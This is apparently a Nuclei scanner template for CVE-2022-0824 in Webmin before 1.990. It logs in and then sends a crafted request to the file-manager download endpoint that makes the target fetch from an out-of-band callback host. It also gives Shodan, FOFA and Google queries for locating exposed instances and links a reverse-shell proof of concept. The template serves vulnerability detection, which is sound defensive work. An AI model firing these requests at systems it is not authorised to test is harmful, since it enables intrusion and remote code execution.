id: CVE-2022-0824

info:
  name: Webmin <1.990 - Improper Access Control
  author: cckuailong
  severity: high
  description: Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Upgrade Webmin to version 1.990 or later to mitigate this vulnerability.
  reference:
    - https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell/blob/main/Webmin-revshell.py
    - https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
    - https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0824
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0824
    cwe-id: CWE-284,CWE-863
    epss-score: 0.97246
    epss-percentile: 0.99819
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2022,rce,oss,huntr,webmin,authenticated

http:
  - raw:
      - |
        POST /session_login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: redirect=1;testing=1;PHPSESSID=;

        user={{username}}&pass={{password}}
      - |
        POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}/filemin/?xnavigation=1

        link=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "Failed to write to /{{ranstr}}/index.html"
# digest: 4a0a00473045022100b488ca674b3fe264ea6a267efa8b05deb3c7f00d02568d6118774a433109a1c702202bab4bb1d2ff2143a4f411b857c2adf83f44befffd986723be29a33ccd856901:922c64590222798bb761d5b6d8e72950